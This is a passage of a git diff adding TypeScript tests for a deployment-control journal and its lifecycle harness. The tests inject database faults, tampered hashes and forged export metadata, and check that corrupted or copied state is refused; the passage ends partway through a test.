+          'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) SELECT run_key,?,operation_kind,operation_id,start_json,start_sha256 FROM direct_reference_operations WHERE run_key=?',
+        )
+        .bind('inventory-after', runKey)
+        .run();
+    await expect(
+      new DirectReferenceJournal(db, runKey, binding).readOperation(
+        kind === 'operation-id' ? 'inventory-before' : 'inventory-after',
+      ),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+  });
+
+  it('rejects token records copied into another identity', async () => {
+    const { runKey, journal } = fixture();
+    await journal.freezeStart('cleanup-a', async () => ({
+      operationId: null,
+      inputJson: '{}',
+    }));
+    await journal.freezeStart('cleanup-b', async () => ({
+      operationId: null,
+      inputJson: '{}',
+    }));
+    await journal.rememberToken('cleanup-a', token(randomUUID(), 1));
+    await db
+      .prepare(`UPDATE direct_reference_operations SET (operation_id,token_json,token_sha256,token_revision) =
+      (SELECT operation_id,token_json,token_sha256,token_revision FROM direct_reference_operations WHERE run_key=? AND slot='cleanup-a')
+      WHERE run_key=? AND slot='cleanup-b'`)
+      .bind(runKey, runKey)
+      .run();
+    await expect(journal.readOperation('cleanup-b')).rejects.toMatchObject({
+      code: 'journal-state',
+    });
+  });
+
+  it('rejects interruption records copied into another identity', async () => {
+    const { runKey, journal } = fixture();
+    const other = fixture();
+    await journal.recordInterruption('{}');
+    await other.journal.readInterruption();
+    await db
+      .prepare(`UPDATE direct_reference_run SET (interruption_json,interruption_sha256) =
+      (SELECT interruption_json,interruption_sha256 FROM direct_reference_run WHERE run_key=?) WHERE run_key=?`)
+      .bind(runKey, other.runKey)
+      .run();
+    await expect(other.journal.readInterruption()).rejects.toMatchObject({
+      code: 'journal-state',
+    });
+  });
+
+  it('serializes concurrent initial starts and replays without producing new input', async () => {
+    const { runKey, journal } = fixture();
+    const other = new DirectReferenceJournal(db, runKey, binding);
+    const first = {
+      operationId: randomUUID(),
+      inputJson: JSON.stringify({ records: ['first'] }),
+    };
+    const second = {
+      operationId: randomUUID(),
+      inputJson: JSON.stringify({ records: ['second'] }),
+    };
+    let entered = 0;
+    let bothReady!: () => void;
+    const ready = new Promise<void>((resolve) => {
+      bothReady = resolve;
+    });
+    const produce = async (value: typeof first) => {
+      entered++;
+      if (entered === 2) bothReady();
+      await ready;
+      return value;
+    };
+    const results = await Promise.all([
+      journal.freezeStart('inventory-before', () => produce(first)),
+      other.freezeStart('inventory-before', () => produce(second)),
+    ]);
+    expect(results.map((result) => result.inserted).sort()).toEqual([
+      false,
+      true,
+    ]);
+    expect(results[0]).toEqual({
+      ...results[1],
+      inserted: results[0]?.inserted,
+    });
+    expect([first.inputJson, second.inputJson]).toContain(
+      results[0]?.inputJson,
+    );
+    const changed = vi.fn(async () => ({
+      operationId: randomUUID(),
+      inputJson: '{"records":["changed"]}',
+    }));
+    const reloaded = new DirectReferenceJournal(db, runKey, binding);
+    expect(await reloaded.freezeStart('inventory-before', changed)).toEqual({
+      ...results[0],
+      inserted: false,
+    });
+    expect(await reloaded.readOperation('inventory-before')).not.toHaveProperty(
+      'inserted',
+    );
+    expect(changed).not.toHaveBeenCalled();
+    expect(Object.isFrozen(results[0])).toBe(true);
+  });
+
+  it('reports insertion ownership and refuses a suppressed first insert', async () => {
+    const { runKey, journal } = fixture();
+    await journal.readInterruption();
+    const trigger = `ignore_start_${runKey.replaceAll('-', '')}`;
+    await db.exec(
+      `CREATE TRIGGER ${trigger} BEFORE INSERT ON direct_reference_operations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`,
+    );
+    try {
+      await expect(
+        journal.freezeStart('cleanup-recovery-initial', async () => ({
+          operationId: null,
+          inputJson: '{}',
+        })),
+      ).rejects.toMatchObject({ code: 'journal-state' });
+    } finally {
+      await db.exec(`DROP TRIGGER ${trigger}`);
+    }
+    const result = await journal.freezeStart(
+      'cleanup-recovery-initial',
+      async () => ({ operationId: null, inputJson: '{}' }),
+    );
+    expect(result.inserted).toBe(true);
+    const replay = await new DirectReferenceJournal(
+      db,
+      runKey,
+      binding,
+    ).freezeStart('cleanup-recovery-initial', async () => {
+      throw new Error('must use retained input');
+    });
+    expect(replay.inserted).toBe(false);
+    expect(replay.operationId).toBeNull();
+  });
+
+  it('does not renew first-dispatch permission after committed insertion loses readback', async () => {
+    const { runKey } = fixture();
+    let inserted = false;
+    let failRead = true;
+    const wrap = (
+      statement: ReturnType<D1Database['prepare']>,
+      sql: string,
+    ): ReturnType<D1Database['prepare']> =>
+      new Proxy(statement, {
+        get(target, key) {
+          if (key === 'bind')
+            return (...values: unknown[]) => wrap(target.bind(...values), sql);
+          if (key === 'all')
+            return async () => {
+              if (
+                inserted &&
+                failRead &&
+                sql.startsWith('SELECT * FROM direct_reference_operations')
+              ) {
+                failRead = false;
+                throw new Error('injected committed-start readback loss');
+              }
+              const value = await target.all();
+              if (sql.startsWith('INSERT INTO direct_reference_operations'))
+                inserted = true;
+              return value;
+            };
+          const value = Reflect.get(target, key);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+    const wrapped = new Proxy(db, {
+      get(target, key) {
+        if (key === 'prepare')
+          return (sql: string) => wrap(target.prepare(sql), sql);
+        const value = Reflect.get(target, key);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    const journal = new DirectReferenceJournal(wrapped, runKey, binding);
+    await expect(
+      journal.freezeStart('cleanup-recovery-initial', async () => ({
+        operationId: null,
+        inputJson: '{"retained":true}',
+      })),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(inserted).toBe(true);
+    const unexpected = vi.fn(async () => ({
+      operationId: null,
+      inputJson: '{}',
+    }));
+    const replay = await new DirectReferenceJournal(
+      db,
+      runKey,
+      binding,
+    ).freezeStart('cleanup-recovery-initial', unexpected);
+    expect(replay).toMatchObject({
+      inserted: false,
+      operationId: null,
+      tokenJson: null,
+      inputJson: '{"retained":true}',
+    });
+    expect(unexpected).not.toHaveBeenCalled();
+  });
+
+  it('refuses a changed run binding without replacing the original', async () => {
+    const { runKey, journal } = fixture();
+    await journal.readOperation('audit-before');
+    const other = new DirectReferenceJournal(
+      db,
+      runKey,
+      '{"accountId":"other"}',
+    );
+    await expect(other.readOperation('audit-before')).rejects.toMatchObject({
+      code: 'run-binding-mismatch',
+    });
+    expect(
+      await db
+        .prepare(
+          'SELECT binding_json FROM direct_reference_run WHERE run_key=?',
+        )
+        .bind(runKey)
+        .first('binding_json'),
+    ).toBe(binding);
+  });
+
+  it('keeps the highest same-operation token despite delayed and terminal-like older echoes', async () => {
+    const { runKey, journal } = fixture();
+    const operationId = randomUUID();
+    await journal.freezeStart('cleanup-recovery', async () => ({
+      operationId: null,
+      inputJson: '{"release":"failed-recovery"}',
+    }));
+    await Promise.all([
+      journal.rememberToken('cleanup-recovery', token(operationId, 4)),
+      new DirectReferenceJournal(db, runKey, binding).rememberToken(
+        'cleanup-recovery',
+        token(operationId, 2),
+      ),
+    ]);
+    await journal.rememberToken('cleanup-recovery', token(operationId, 1));
+    await journal.rememberToken('cleanup-recovery', token(operationId, 4));
+    const record = await journal.readOperation('cleanup-recovery');
+    expect(record).toMatchObject({
+      operationId,
+      tokenRevision: 4,
+      tokenJson: token(operationId, 4),
+    });
+    expect(record).not.toHaveProperty('complete');
+    await expect(
+      journal.rememberToken('cleanup-recovery', token(randomUUID(), 5)),
+    ).rejects.toMatchObject({ code: 'operation-mismatch' });
+    expect(await journal.readOperation('cleanup-recovery')).toEqual(record);
+  });
+
+  it('requires a start row and rejects invalid hint metadata', async () => {
+    const { journal } = fixture();
+    const operationId = randomUUID();
+    await expect(
+      journal.rememberToken('migration-next', token(operationId, 1)),
+    ).rejects.toMatchObject({ code: 'missing-start' });
+    await journal.freezeStart('migration-next', async () => ({
+      operationId,
+      inputJson: '{"records":[]}',
+    }));
+    for (const invalid of [
+      'null',
+      '[]',
+      JSON.stringify({ operationId, revision: -1 }),
+      JSON.stringify({ operationId, revision: 1.5 }),
+      JSON.stringify({ revision: 1 }),
+    ])
+      await expect(
+        journal.rememberToken('migration-next', invalid),
+      ).rejects.toBeInstanceOf(DirectReferenceJournalError);
+    expect(
+      (await journal.readOperation('migration-next'))?.tokenJson,
+    ).toBeNull();
+  });
+
+  it('records one interruption witness across concurrent instances and reload', async () => {
+    const { runKey, journal } = fixture();
+    const witnesses = [
+      '{"revision":2,"claim":"first"}',
+      '{"revision":3,"claim":"second"}',
+    ];
+    const outcomes = await Promise.all(
+      witnesses.map((witness) =>
+        new DirectReferenceJournal(db, runKey, binding).recordInterruption(
+          witness,
+        ),
+      ),
+    );
+    expect(outcomes.filter(Boolean)).toHaveLength(1);
+    expect(await journal.readInterruption()).toBe(
+      witnesses[outcomes.indexOf(true)],
+    );
+    expect(await journal.recordInterruption('{"revision":4}')).toBe(false);
+    expect(
+      await new DirectReferenceJournal(db, runKey, binding).readInterruption(),
+    ).toBe(witnesses[outcomes.indexOf(true)]);
+  });
+
+  it.each([
+    'json',
+    'hash',
+    'kind',
+    'token-pair',
+  ] as const)('refuses corrupted stored %s data', async (kind) => {
+    const { runKey, journal } = fixture();
+    const operationId = randomUUID();
+    await journal.freezeStart('audit-before', async () => ({
+      operationId,
+      inputJson: '{"records":[]}',
+    }));
+    if (kind === 'json')
+      await db
+        .prepare(
+          'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=?',
+        )
+        .bind(
+          'bad-json',
+          createHash('sha256').update('bad-json').digest('hex'),
+          runKey,
+        )
+        .run();
+    if (kind === 'hash')
+      await db
+        .prepare(
+          'UPDATE direct_reference_operations SET start_sha256=? WHERE run_key=?',
+        )
+        .bind('0'.repeat(64), runKey)
+        .run();
+    if (kind === 'kind')
+      await db
+        .prepare(
+          'UPDATE direct_reference_operations SET operation_kind=? WHERE run_key=?',
+        )
+        .bind('inventory', runKey)
+        .run();
+    if (kind === 'token-pair') {
+      await journal.rememberToken('audit-before', token(operationId, 1));
+      await db
+        .prepare(
+          'UPDATE direct_reference_operations SET token_revision=2 WHERE run_key=?',
+        )
+        .bind(runKey)
+        .run();
+    }
+    await expect(
+      new DirectReferenceJournal(db, runKey, binding).readOperation(
+        'audit-before',
+      ),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+  });
+
+  it('enforces nullable token pairs in the actual database', async () => {
+    const { runKey, journal } = fixture();
+    await journal.freezeStart('decommission-a', async () => ({
+      operationId: null,
+      inputJson: '{}',
+    }));
+    await expect(
+      db
+        .prepare(
+          'UPDATE direct_reference_operations SET token_revision=1 WHERE run_key=?',
+        )
+        .bind(runKey)
+        .run(),
+    ).rejects.toThrow(/constraint/i);
+    expect(
+      (await journal.readOperation('decommission-a'))?.tokenRevision,
+    ).toBeNull();
+  });
+
+  it('refuses ignored hint and witness writes instead of claiming success', async () => {
+    const { runKey, journal } = fixture();
+    const operationId = randomUUID();
+    await journal.freezeStart('migration-next', async () => ({
+      operationId,
+      inputJson: '{}',
+    }));
+    const suffix = runKey.replaceAll('-', '');
+    await db
+      .prepare(
+        `CREATE TRIGGER ignore_hint_${suffix} BEFORE UPDATE OF token_json ON direct_reference_operations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`,
+      )
+      .run();
+    await expect(
+      journal.rememberToken('migration-next', token(operationId, 1)),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    await db
+      .prepare(
+        `CREATE TRIGGER ignore_witness_${suffix} BEFORE UPDATE OF interruption_json ON direct_reference_run WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`,
+      )
+      .run();
+    await expect(
+      journal.recordInterruption('{"revision":2}'),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(await journal.readInterruption()).toBeNull();
+  });
+
+  it('bounds serialized control inputs before inserting an operation', async () => {
+    const { journal } = fixture();
+    await expect(
+      journal.freezeStart('inventory-after', async () => ({
+        operationId: randomUUID(),
+        inputJson: JSON.stringify({ value: 'x'.repeat(256 * 1024) }),
+      })),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(await journal.readOperation('inventory-after')).toBeUndefined();
+  });
+
+  it('retries failed initialization and hides the underlying error', async () => {
+    let failed = false;
+    const wrapped = new Proxy(db, {
+      get(target, key) {
+        if (key === 'batch')
+          return async (statements: Parameters<D1Database['batch']>[0]) => {
+            if (!failed) {
+              failed = true;
+              throw new Error('secret-sentinel');
+            }
+            return target.batch(statements);
+          };
+        const value = Reflect.get(target, key);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    const journal = new DirectReferenceJournal(wrapped, randomUUID(), binding);
+    await expect(
+      journal.readOperation('inventory-before'),
+    ).rejects.toMatchObject({
+      code: 'journal-state',
+      message: 'journal-state',
+    });
+    await expect(
+      journal.readOperation('inventory-before'),
+    ).resolves.toBeUndefined();
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts
new file mode 100644
index 00000000..90cdf9ff
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts
@@ -0,0 +1,1557 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js';
+import type { DirectDecommissionExportMetadata } from '../scripts/direct-reference-lifecycle.js';
+import type { CleanupAdvanceResult } from '../src/cleanup-advance.js';
+import type { DecommissionAdvanceResult } from '../src/decommission-advance.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  createDirectReferenceHarness,
+  type DirectReferenceHarness,
+} from './fixtures/direct-reference-harness.js';
+
+describe.sequential('direct lifecycle through native control state', {
+  timeout: 180_000,
+}, () => {
+  let fixture: DirectReferenceHarness;
+  beforeAll(async () => {
+    fixture = await createDirectReferenceHarness();
+  }, 60_000);
+  afterAll(async () => {
+    await fixture?.close();
+  }, 30_000);
+  async function finishCleanup(
+    token: unknown,
+  ): Promise<Extract<CleanupAdvanceResult, { status: 'complete' }>> {
+    for (let calls = 0; calls < 150; calls++) {
+      const result = await fixture.success<CleanupAdvanceResult>({
+        kind: 'cleanup-continue',
+        role: 'recovery',
+        token,
+      });
+      if (result.status === 'complete') return result;
+      expect(result.status).toBe('pending');
+      token = result.token;
+    }
+    throw new Error('fixture cleanup exhausted its invocation bound');
+  }
+
+  it('uses real provision and normal teardown with native export integrity', async () => {
+    const metadataAction = { kind: 'decommission-export', role: 'a' } as const;
+    expect(await fixture.success(metadataAction)).toEqual({
+      available: false,
+      role: 'a',
+      lifecyclePhase: 'not-started',
+    });
+    const result = await fixture.success<{ status: string }>({
+      kind: 'provision',
+      role: 'a',
+      release: 'initial',
+    });
+    expect(result.status).toBe('ready');
+    expect(fixture.sqlFailures).toEqual([]);
+    const before = fixture.world.databases.length;
+    expect(
+      (
+        await fixture.success<{ status: string }>({
+          kind: 'provision',
+          role: 'a',
+          release: 'initial',
+        })
+      ).status,
+    ).toBe('ready');
+    expect(fixture.world.databases).toHaveLength(before);
+    let advance = await fixture.success<DecommissionAdvanceResult>({
+      kind: 'decommission-start',
+      role: 'a',
+    });
+    expect(await fixture.success(metadataAction)).toMatchObject({
+      available: false,
+      role: 'a',
+    });
+    let verifiedBeforeDelete = false;
+    for (let calls = 0; advance.status !== 'complete' && calls < 150; calls++) {
+      expect(advance.status).toBe('pending');
+      advance = await fixture.success<DecommissionAdvanceResult>({
+        kind: 'decommission-continue',
+        role: 'a',
+        token: advance.token,
+      });
+      const current = await fixture.fleetStore.get(
+        fixture.manifest.names.roles.a.tenantTag,
+        fixture.manifest.environment,
+      );
+      if (
+        !verifiedBeforeDelete &&
+        current?.decommissionIntent?.state === 'transitioning' &&
+        current.decommissionIntent.lifecyclePhase === 'database-exported'
+      ) {
+        const selected = await fixture
+          .journal()
+          .readOperation('decommission-a');
+        const providerRequests = fixture.projection.requests.length;
+        const journalRow = await fixture.db
+          .prepare(
+            'SELECT operation_id,start_json,start_sha256,token_json,token_sha256,token_revision FROM direct_reference_operations WHERE run_key=? AND slot=?',
+          )
+          .bind(fixture.manifest.resourcePrefix, 'decommission-a')
+          .first<{
+            operation_id: string;
+            start_json: string;
+            start_sha256: string;
+            token_json: string;
+            token_sha256: string;
+            token_revision: number;
+          }>();
+        if (!journalRow?.token_json)
+          throw new Error('selected journal token is missing');
+        const intent = current.decommissionIntent;
+        expect(
+          fixture.world.databases.some(
+            (database) => database.databaseId === current.databaseId,
+          ),
+        ).toBe(true);
+        const metadata =
+          await fixture.success<DirectDecommissionExportMetadata>(
+            metadataAction,
+          );
+        if (!metadata.available)
+          throw new Error('saved export metadata is unavailable');
+        const operationId = current.decommissionIntent.operationId;
+        const key = `${fixture.manifest.resourcePrefix}/receipts/v1/${current.databaseId}/${operationId}.sql`;
+        expect(metadata).toEqual({
+          available: true,
+          role: 'a',
+          receipt: {
+            version: 1,
+            authority: `r2://${fixture.binding.exportBucketName}/${fixture.manifest.resourcePrefix}/receipts/v1`,
+            databaseId: current.databaseId,
+            operationId,
+          },
+          location: `r2://${fixture.binding.exportBucketName}/${key}`,
+          size: current.databaseExportSize,
+          sha256: current.databaseExportSha256,
+          lifecyclePhase: 'database-exported',
+          intentState: 'transitioning',
+          revision: current.decommissionIntent.revision,
+          generation: current.decommissionIntent.generation,
+        });
+        const object = await fixture.exportBytes.get(key);
+        if (!object?.customMetadata)
+          throw new Error('receipt object metadata is missing');
+        const originalMetadata = { ...object.customMetadata };
+        const bytes = new Uint8Array(await object.arrayBuffer());
+        expect(bytes.byteLength).toBe(metadata.size);
+        expect(createHash('sha256').update(bytes).digest('hex')).toBe(
+          metadata.sha256,
+        );
+        const failures = await Promise.allSettled([
+          (async () => {
+            for (const changed of [
+              {
+                ...current,
+                decommissionIntent: {
+                  ...intent,
+                  operationId: '00000000-0000-4000-8000-000000000000',
+                },
+              },
+              {
+                ...current,
+                databaseExportLocation: 'r2://different/receipts/v1/other.sql',
+              },
+              { ...current, databaseExportSize: metadata.size + 1 },
+              { ...current, databaseExportSha256: 'invalid' },
+              {
+                ...current,
+                decommissionIntent: {
+                  ...intent,
+                  databaseExportReceiptAuthority: 'r2://different/receipts/v1',
+                },
+              },
+            ]) {
+              await fixture.fleetStore.withDeploymentLease(
+                current.tenantTag,
+                current.environment,
+                (lease) => lease.put(changed),
+              );
+              expect(
+                await fixture.fleetStore.get(
+                  current.tenantTag,
+                  current.environment,
+                ),
+              ).toEqual(changed);
+              expect((await fixture.call(metadataAction)).value.ok).toBe(false);
+              await fixture.fleetStore.withDeploymentLease(
+                current.tenantTag,
+                current.environment,
+                (lease) => lease.put(current),
+              );
+            }
+            const otherOperationId = '00000000-0000-4000-8000-000000000000';
+            const tokenJson = JSON.stringify({
+              ...JSON.parse(journalRow.token_json),
+              operationId: otherOperationId,
+            });
+            const tokenHash = createHash('sha256')
+              .update(
+                JSON.stringify([
+                  'token',
+                  fixture.manifest.resourcePrefix,
+                  'decommission-a',
+                  tokenJson,
+                ]),
+              )
+              .digest('hex');
+            await fixture.db
+              .prepare(
+                'UPDATE direct_reference_operations SET operation_id=?,token_json=?,token_sha256=? WHERE run_key=? AND slot=?',
+              )
+              .bind(
+                otherOperationId,
+                tokenJson,
+                tokenHash,
+                fixture.manifest.resourcePrefix,
+                'decommission-a',
+              )
+              .run();
+            expect(
+              (await fixture.journal().readOperation('decommission-a'))
+                ?.operationId,
+            ).toBe(otherOperationId);
+            expect((await fixture.call(metadataAction)).value.ok).toBe(false);
+            await fixture.db
+              .prepare(
+                'UPDATE direct_reference_operations SET operation_id=?,token_json=?,token_sha256=? WHERE run_key=? AND slot=?',
+              )
+              .bind(
+                journalRow.operation_id,
+                journalRow.token_json,
+                journalRow.token_sha256,
+                fixture.manifest.resourcePrefix,
+                'decommission-a',
+              )
+              .run();
+            const nextSpec = directDeploymentSpec(
+              fixture.manifest,
+              'a',
+              'next',
+              fixture.secrets.a,
+              fixture.binding,
+            );
+            const startJson = JSON.stringify({
+              version: 1,
+              role: 'a',
+              release: 'next',
+              specDigest: deploymentSpecDigest(nextSpec),
+            });
+            const startHash = createHash('sha256')
+              .update(
+                JSON.stringify([
+                  'start',
+                  fixture.manifest.resourcePrefix,
+                  'decommission-a',
+                  'decommission',
+                  null,
+                  startJson,
+                ]),
+              )
+              .digest('hex');
+            await fixture.db
+              .prepare(
+                'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=? AND slot=?',
+              )
+              .bind(
+                startJson,
+                startHash,
+                fixture.manifest.resourcePrefix,
+                'decommission-a',
+              )
+              .run();
+            expect(
+              (await fixture.journal().readOperation('decommission-a'))
+                ?.inputJson,
+            ).toBe(startJson);
+            expect((await fixture.call(metadataAction)).value.ok).toBe(false);
+            await fixture.db
+              .prepare(
+                'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=? AND slot=?',
+              )
+              .bind(
+                journalRow.start_json,
+                journalRow.start_sha256,
+                fixture.manifest.resourcePrefix,
+                'decommission-a',
+              )
+              .run();
+            for (const customMetadata of [
+              {},
+              {
+                ...originalMetadata,
+                anchorageOperationId: '00000000-0000-4000-8000-000000000000',
+              },
+              {
+                ...originalMetadata,
+                anchorageReceiptAuthority: 'r2://foreign/receipts/v1',
+              },
+              { ...originalMetadata, extra: 'unexpected' },
+            ]) {
+              await fixture.exportBytes.put(key, bytes, { customMetadata });
+              expect((await fixture.call(metadataAction)).value).toEqual({
+                contractVersion: 1,
+                ok: false,
+                error: { code: 'operation-refused' },
+              });
+            }
+            await fixture.exportBytes.put(
+              key,
+              bytes.slice(0, bytes.byteLength - 1),
+              { customMetadata: originalMetadata },
+            );
+            expect((await fixture.call(metadataAction)).value.ok).toBe(false);
+            await fixture.exportBytes.delete(key);
+            expect((await fixture.call(metadataAction)).value.ok).toBe(false);
+          })(),
+        ]);
+        const restored = await Promise.allSettled([
+          fixture.fleetStore.withDeploymentLease(
+            current.tenantTag,
+            current.environment,
+            (lease) => lease.put(current),
+          ),
+          fixture.db
+            .prepare(
+              'UPDATE direct_reference_operations SET operation_id=?,start_json=?,start_sha256=?,token_json=?,token_sha256=?,token_revision=? WHERE run_key=? AND slot=?',
+            )
+            .bind(
+              journalRow.operation_id,
+              journalRow.start_json,
+              journalRow.start_sha256,
+              journalRow.token_json,
+              journalRow.token_sha256,
+              journalRow.token_revision,
+              fixture.manifest.resourcePrefix,
+              'decommission-a',
+            )
+            .run(),
+          fixture.exportBytes.put(key, bytes, {
+            customMetadata: originalMetadata,
+          }),
+        ]);
+        const errors = [...failures, ...restored].flatMap((result) =>
+          result.status === 'rejected' ? [result.reason] : [],
+        );
+        if (errors.length)
+          throw new AggregateError(
+            errors,
+            'export metadata controls or restoration failed',
+          );
+        expect(await fixture.success(metadataAction)).toEqual(metadata);
+        expect(
+          await fixture.fleetStore.get(current.tenantTag, current.environment),
+        ).toEqual(current);
+        expect(await fixture.journal().readOperation('decommission-a')).toEqual(
+          selected,
+        );
+        expect(fixture.projection.requests).toHaveLength(providerRequests);
+        expect(
+          fixture.world.databases.some(
+            (database) => database.databaseId === current.databaseId,
+          ),
+        ).toBe(true);
+        verifiedBeforeDelete = true;
+      }
+    }
+    expect(verifiedBeforeDelete).toBe(true);
+    expect(advance.status).toBe('complete');
+    expect(fixture.world.databases).toHaveLength(0);
+    expect(fixture.buckets.size).toBe(0);
+    expect(await fixture.success(metadataAction)).toMatchObject({
+      available: true,
+      role: 'a',
+      lifecyclePhase: 'decommissioned',
+      intentState: 'complete',
+    });
+    const stored = await fixture.exportBytes.list();
+    expect(stored.objects.length).toBeGreaterThan(0);
+    const expectedSql = [...fixture.world.exports.values()][0];
+    if (!expectedSql) throw new Error('fixture export bytes are missing');
+    if (advance.status !== 'complete')
+      throw new Error('decommission did not complete');
+    expect(advance.result.databaseExport.size).toBe(expectedSql.byteLength);
+    expect(advance.result.databaseExport.sha256).toBe(
+      createHash('sha256').update(expectedSql).digest('hex'),
+    );
+    const objects = await Promise.all(
+      stored.objects.map(async (object) => {
+        const value = await fixture.exportBytes.get(object.key);
+        if (!value) throw new Error('stored export object is missing');
+        return new Uint8Array(await value.arrayBuffer());
+      }),
+    );
+    expect(
+      objects.some((bytes) =>
+        Buffer.from(bytes).equals(Buffer.from(expectedSql)),
+      ),
+    ).toBe(true);
+    const replay = await fixture.success<DecommissionAdvanceResult>({
+      kind: 'decommission-start',
+      role: 'a',
+    });
+    expect(replay.status).toBe('complete');
+    const control = await fixture.success<{
+      records: { role: string; phase: string }[];
+    }>({ kind: 'control-read' });
+    expect(control.records.find((record) => record.role === 'a')?.phase).toBe(
+      'decommissioned',
+    );
+  });
+
+  it('preserves failed and fresh recovery rollback histories and opaque replay', async () => {
+    const failed = await fixture.success<{
+      status: string;
+      slot: string;
+      cleanup: CleanupAdvanceResult;
+    }>({ kind: 'provision', role: 'recovery', release: 'failed-recovery' });
+    expect(failed).toMatchObject({
+      status: 'failed-provision',
+      slot: 'cleanup-recovery',
+      cleanup: { status: 'pending' },
+    });
+    expect(fixture.sqlFailures).toEqual([
+      'no such table: direct_conformance_missing_table',
+    ]);
+    const historical = await finishCleanup(failed.cleanup.token);
+    fixture.world.failNext('uploadCandidate', { dispatched: false });
+    const fresh = await fixture.success<{
+      status: string;
+      slot: string;
+      cleanup: CleanupAdvanceResult;
+    }>({ kind: 'provision', role: 'recovery', release: 'initial' });
+    expect(fresh).toMatchObject({
+      status: 'failed-provision',
+      slot: 'cleanup-recovery-initial',
+      cleanup: { status: 'pending' },
+    });
+    expect(fresh.cleanup.token.operationId).not.toBe(
+      historical.token.operationId,
+    );
+    const historicalReplay = await fixture.success<CleanupAdvanceResult>({
+      kind: 'cleanup-continue',
+      role: 'recovery',
+      token: historical.token,
+    });
+    expect(historicalReplay).toMatchObject({
+      status: 'complete',
+      receipt: historical.receipt,
+    });
+    const completed = await finishCleanup(fresh.cleanup.token);
+    expect(completed.receipt.operationId).toBe(fresh.cleanup.token.operationId);
+    expect(
+      (await fixture.journal().readOperation('cleanup-recovery'))?.operationId,
+    ).toBe(historical.receipt.operationId);
+    expect(
+      (await fixture.journal().readOperation('cleanup-recovery-initial'))
+        ?.operationId,
+    ).toBe(completed.receipt.operationId);
+    const selected = await fixture.success<{ slot: string; receipt: unknown }>({
+      kind: 'cleanup-receipt',
+      role: 'recovery',
+    });
+    expect(selected).toEqual({
+      slot: 'cleanup-recovery-initial',
+      receipt: completed.receipt,
+    });
+    const attempts = fixture.projection.requests.length;
+    const refused = await fixture.call({
+      kind: 'provision',
+      role: 'recovery',
+      release: 'initial',
+    });
+    expect(refused.value.ok).toBe(false);
+    expect(fixture.projection.requests).toHaveLength(attempts);
+    for (const token of [null, {}, { operationId: 'foreign', revision: 1 }]) {
+      expect(
+        (
+          await fixture.call({
+            kind: 'cleanup-continue',
+            role: 'recovery',
+            token,
+          })
+        ).value.ok,
+      ).toBe(false);
+    }
+  });
+
+  it('does not provision again from prepared history with no observable result', async () => {
+    const spec = fixture.specs[1];
+    if (!spec) throw new Error('fixture b specification is missing');
+    await fixture.journal().freezeStart('cleanup-b', async () => ({
+      operationId: null,
+      inputJson: JSON.stringify({
+        version: 1,
+        role: 'b',
+        release: 'initial',
+        specDigest: deploymentSpecDigest(spec),
+      }),
+    }));
+    const attempts = fixture.projection.requests.length;
+    const response = await fixture.call({
+      kind: 'provision',
+      role: 'b',
+      release: 'initial',
+    });
+    expect(response.value.ok).toBe(false);
+    expect(fixture.projection.requests).toHaveLength(attempts);
+    expect(
+      fixture.world.databases.some(
+        (database) => database.name === spec.databaseName,
+      ),
+    ).toBe(false);
+    expect(fixture.bridgeErrors).toEqual([]);
+  });
+});
+
+describe.sequential('private force through native control state', {
+  timeout: 180_000,
+}, () => {
+  async function readyRecovery(fixture: DirectReferenceHarness) {
+    const names = fixture.manifest.names.roles.recovery;
+    const environment = fixture.manifest.environment;
+    const failed = await fixture.success<{ cleanup: CleanupAdvanceResult }>({
+      kind: 'provision',
+      role: 'recovery',
+      release: 'failed-recovery',
+    });
+    let cleanup = failed.cleanup;
+    for (let count = 0; cleanup.status !== 'complete' && count < 150; count++) {
+      expect(cleanup.status).toBe('pending');
+      cleanup = await fixture.success<CleanupAdvanceResult>({
+        kind: 'cleanup-continue',
+        role: 'recovery',
+        token: cleanup.token,
+      });
+    }
+    if (cleanup.status !== 'complete')
+      throw new Error('force fixture cleanup did not complete');
+    const receipt = cleanup.receipt;
+    await fixture.success({
+      kind: 'provision',
+      role: 'recovery',
+      release: 'initial',
+    });
+    const ready = await fixture.fleetStore.get(names.tenantTag, environment);
+    if (!ready) throw new Error('fresh recovery record is missing');
+    expect(ready.phase).toBe('ready');
+    expect(
+      fixture.world.databases.some(
+        (database) => database.databaseId === ready.databaseId,
+      ),
+    ).toBe(true);
+    return { ready, receipt };
+  }
+
+  it('force terminal guards the leased identity and clears a terminal row without provider requests', async () => {
+    const fixture = await createDirectReferenceHarness();
+    try {
+      const names = fixture.manifest.names.roles.a;
+      const environment = fixture.manifest.environment;
+      const action = { kind: 'force-terminal', role: 'a' } as const;
+      await fixture.success({
+        kind: 'provision',
+        role: 'a',
+        release: 'initial',
+      });
+      const ready = await fixture.fleetStore.get(names.tenantTag, environment);
+      if (!ready) throw new Error('ready row is missing');
+      const refused = await fixture.call(action);
+      expect(refused.response.status).toBe(409);
+      expect(refused.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+        '0',
+      );
+      await fixture.success({ kind: 'decommission-start', role: 'a' });
+      const active = await fixture.fleetStore.get(names.tenantTag, environment);
+      if (!active?.decommissionIntent)
+        throw new Error('decommission intent is missing');
